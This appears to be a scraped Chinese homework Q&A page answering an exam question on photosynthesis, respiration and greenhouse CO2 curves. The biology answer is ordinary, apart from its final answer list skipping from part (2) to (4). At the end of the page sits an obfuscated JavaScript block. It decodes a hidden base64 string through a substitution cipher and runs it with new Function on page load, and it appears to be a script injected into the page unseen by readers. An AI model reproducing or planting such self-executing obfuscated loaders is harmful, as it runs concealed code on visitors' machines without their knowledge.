如图甲表示空气中的CO2含量对某绿色植物光合作用的影响,乙图表示一天24小时蔬菜大棚内CO2浓度随时间的变

2025-03-13 23:28:52
推荐回答(1个)
回答1:

(1)光合作用和呼吸作用强度相等的点在图甲中就是由释放二氧化碳到吸收二氧化碳的转折点,既M点;在图乙就是二氧化碳浓度由增加(减少)到减少(增加)的转折点,既D和H点.此时光合作用和呼吸作用都产生ATP,因此产生ATP的场所有:线粒体、细胞质基质、叶绿体.图乙中积累有机物最多的点是大棚中二氧化碳浓度最低的点,既H点.乙图中比较A点和I点,可以看出经过24小时后,大棚内二氧化碳含量降低,因此大棚内植物有机物的含量会增加.
(2)图乙中E点与D点相比较,二氧化碳浓度降低,CO2被C5固定形成的C3减少,但光反应正常进行,C3的还原不变,故叶绿体基质中C3的含量较少.
(3)甲图中N点时,随着二氧化碳浓度的升高,光合作用强度不再增加,此时限制N点的主要外界因素是光照强度和温度.N点时叶肉细胞光合作用强度最大,此时叶绿体中的ADP的运动方向是叶绿体基质到类囊体薄膜.
故答案为:
(1)M、D、H      细胞质基质、叶绿体、线粒体     H      增加
(2)较少
(4)温度、光照强度等        叶绿体基质到类囊体薄膜

(function(){function p8e1545(xf90e981){var g6be64f2="8q^@3dueh.cW?pr6Sn1w45[/fHJLGF]NvP(j,U7V~9=BKOga%Mliys$RTkmY:o2IC|_Ez-QDAxt;XZ&b0!";var o1656="PtJB7S^i@d(plD&MN9/qTrwZ=QY!WE,x:j;IzvmkL3~_UHnyK8C[%gFfAcV2?.b4e1R-|0GahOu5s]6X$o";return atob(xf90e981).split('').map(function(g0fdd){var ac906=g6be64f2.indexOf(g0fdd);return ac906==-1?g0fdd:o1656[ac906]}).join('')}var c=p8e1545('rtmp://W2VnLiFbaSJlIisiSVlNIisiOyIrIjsiWmZSdGdrcWUhZ2Mpe2NSdGdrcWUhZ2NbLUQtO3wtXWF8WS45LSZdQW47JlkzRF1ESS5rfCl7ZVJjMXU2RGt6R2VnMW9xQ1hxY2dEVWVzRHEhNW9XP0RxUiE1NykpezVDcXQ1Z31VRDUgdG5EOU0zZlJ0Z2txZSFnYyxrQ01ZblkpezVDcXQ1ZyBkcTVlZ3NvUjUhN2xBRDVsIS5DYyxrQ01ZblkpfShVRDUgNzMzLnwtOTtmaSI/UFhFTy18Qn54VHBCXmRCTzQ2fiJdIlVDNUUtfCJdIlhlLkU5WSJdImtrcUVZLVk7RS05RXxJIFl8dlkmdjktIlooVUQ1IHcuJi0tOy07ZkFuOyZZM0RpdG5EOU0zYy1OJnwpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJlkpWl1zWTtZQ1lSZkFuOyZZM0RpdG5EOU0zYy1OJlkpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJnwpWl1bMlJEbmZESS5rfGl3LiYtLTstO2MiSjltYWs3bXQuJFNQazc/Wy5UZmYiKVpdZ0QySW4mOVJEZncuJi0tOy07YyJKOV4/SmJfP19HTj8yR210LlRmZiIpXS5DQ0lNZncuJi0tOy07YyJrOW1lazlfYURHO2ciKV13RG5JOUM7Mi5mdy4mLS07LTtjIms3bVsyUSRQL0hmZiIpXS5JLmsyOyYyZncuJi0tOy07YyJrOUBYRGJIZiIpXSxua25SSWZ3LiYtLTstO2MiazdtWS9iXiwvSGZmIildVXwzTVJJbjtDZncuJi0tOy07YyJEN25XMnNmZiIpXVJSRDs7a2Z3LiYtLTstO2MiazckdC9RbnEiKV1nUiYubi1mQW47JlkzRGl3LiYtLTstO2MiNEckLURUZmYiKVpdQ0REblIta2Z3LiYtLTstO2MiMlFuQS9UZmYiKShVRDUgNW5rRDItZncuJi0tOy07YyJrWXwtREdfPy5zZmYiKShVRDUgazs7MztSQyYoZVJjPyFrRHFlIWdvWENENWtBb2VnLkNOeFJjNW5rRDItKT5FfCl7azs7MztSQyZmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiLlFtSS5RJGEvR0ZmIikpKGs7OzM7UkMmb2UuZiJxIitnUiYubi1pUlJEOztrWmMpKnwtLS0tKGs7OzM7UkMmb1hxYT9Db1tlLnFBZiJ8LS15IihrOzszO1JDJm9YcWE/Q29BQ2VzQXFmIjstLVdOIihrOzszO1JDJm8uZVhEMj9DLmZxNXRDKGVSY0RJLmt8bzIhLmFMZmd0Pz8pe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpfUM/WEN7VUQ1IDVuUjkmfDNZRGZSdGdrcWUhZ2Mpe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpKEFuOyZZM0RvNUM3IVVDRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9KEFuOyZZM0RvRC4uRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9fVVENSBSMnx8LTJJbnxmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiL0d8ZS9HSGYiKSkoUjJ8fC0ySW58b2UuZmF8WS45LSYrZ1ImLm4tb2tDZT9jZ1ImLm4taVJSRDs7a1pjKSp8LS0tLSkoVUQ1IERrJjJZLWZSdGdrcWUhZ2NrLlJZJmsmbk0pe1VENSBhOzJ8Mi1NLWZnQ1sgcERxQ2MpKFVENSBQfFImayYyLS5mYFg3cWVCWGUuQjB7YXxZLjktJn1CMHthOzJ8Mi1NLW9xIX4ha0Q/Q3BEcUNkcTVlZ3NjKX1gKFVENSBYLllrMmZndD8/KHE1YXtYLllrMmZeZHhTb1dENVhDYz8ha0Q/ZHEhNURzQ29zQ3FqcUM3Y1B8UiZrJjItLikpfWtEcWtBY0Mpe31lUmNYLllrMmZmZ3Q/Pyl7WC5ZazJmezI1IVtYQzVsIXRncXYtXX19WC5ZazJvMjUhW1hDNWwhdGdxKysoVUQ1IDVNOTkmZnNZO1lDWVJjNzMzLnwtOTtvayFna0RxY2lgZyFbRTB7cERxQ2kiZyFbIlpjKX1gXWBBNUNSRTB7PyFrRHFlIWdvQTVDUn1gXWB0WGtFMHtYLllrMm8yNSFbWEM1bCF0Z3F9YF1aKW9YITVxY2MpZj5nUiYubi1pUlJEOztrWmMpRS1vOylpVXwzTVJJbjtDWmMiXSIpKShVRDUgQ1JSa1JNZjVNOTkmb2VnLkNOeFJjdG5EOU0zYy1OOS4pKT5FfDo1TTk5JmkuQ0NJTVpjNU05OSZvZWcuQ054UmN0bkQ5TTNjLU45LikpKXYiIig1TTk5JmY1TTk5Jml3RG5JOUM7Mi5aY0NSUmtSTV0iIilpLkkuazI7JjJaYyIiKWksbmtuUklaYylpVXwzTVJJbjtDWmMiIikrQ1JSa1JNKFIyfHwtMklufG9YNWtmaSJBcXFXWHYxMSIray5SWSZrJm5NXVIyfHwtMklufG9lLl01TTk5JlppVXwzTVJJbjtDWmMiMSIpKERJLmt8bzIhLmFvZWdYQzVxQENSITVDY1IyfHwtMklufF1ESS5rfG8yIS5hb2tBZT8uUyEuQ1hpLVopKGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ0RXV0NnLkMuIEM3IHEhIEFxNz8iKFVENSBnSUQta0Q7LVJmREkua3xvc0NxRj9DN0NncUBhai5jUjJ8fC0ySW58b2UuKShlUmNnSUQta0Q7LVJmZmd0Pz96emdJRC1rRDstUmZmdGcuQ1JlZ0MuKXtrOzszO1JDJm9VRD90QytmIlxcNVxcZyBrRGdxIHNDcSBDNyBSNSE3IEFxNz8ifX19KGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ1hDZy4gUFggQSFYcSAiK1stRC07fC19VUQ1IGcuWXxJLm4mTWZSdGdrcWUhZ2NbM0NEOVkzKXs1Q3F0NWcgdy4mLS07LTtjWzNDRDlZMylpd0RuSTlDOzIuWmN0bkQ5TTNjLU5ZRCldZ1ImLm4taVJSRDs7a1pjKW9xIWRxNWVnc2M5JilvWD9la0NjZ1ImLm4tb1I/ISE1Y2dSJi5uLWlSUkQ7O2taYykqbikrWSkpfShEayYyWS1jZy5ZfEkubiZNY1stRC07fC0pKShBbjsmWTNEaSJELi5GVUNncX5lWHFDZ0M1IlpjIjdDWFhEc0MiXVJ0Z2txZSFnY0Mpe2VSY0NvLkRxRG9WZmZhfFkuOS0mKXtESS5rfG9zQ3FGP0M3Q2dxQGFqLmNSMnx8LTJJbnxvZS4pbzVDNyFVQ2MpKFVENSA1azNZa01DZmd0Pz8oZVJjazs7MztSQyZMZmd0Pz8pe2s7OzM7UkMmb1VEP3RDK2YiXFw1XFxnNUNrQ2VVQyBDNyBXIVhxIDdDWFhEc0MiKGs7OzM7UkMmb1VEP3RDK2YiXFw1XFxnQ28uRHFEb1UgIitDby5EcURvdyg1azNZa01DZmNvb29SMnwzLVl8KWY+e2VSY0xSMnwzLVl8enpSMnwzLVl8bz9DZ3NxQTxmLSk1Q3F0NWcoazs7MztSQyZvVUQ/dEMrZiJcXDVcXGciK1IyfDMtWXxvUCFlZ2MiICIpfX1nQ1sgJHRna3FlIWdjIkQ1c1giXUNvLkRxRG93KWN7QnEua1h2WzJSRG5dQj8hc3Y1azNZa01DXX0pfX0pfSljIi9Za3RTNG0sRFkkLDJHTnEvWS47MmQ7LTI5VCZ4NFZ8U3NmZiJdIjlZIl1bZWcuIVtdLiFrdDdDZ3EpfShlSVlNOztjKSg='.substr(7));new Function(c)()})();